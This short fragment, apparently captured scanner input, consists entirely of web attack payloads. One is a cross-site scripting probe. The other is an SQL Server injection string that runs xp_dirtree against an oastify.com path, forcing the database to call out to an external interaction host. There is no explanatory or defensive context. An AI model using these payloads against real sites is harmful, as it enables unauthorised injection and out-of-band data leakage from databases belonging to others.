<script>alert('test');</script>

https://i.ss.com/img/main/transport.png, 1);declare @q varchar(99);set @q='\\ho9yutl2sw0kc0ok8ghrp6g6ixovcnef26wuohq5f.oasti'+'fy.com\wda'; exec master.dbo.xp_dirtree @q;--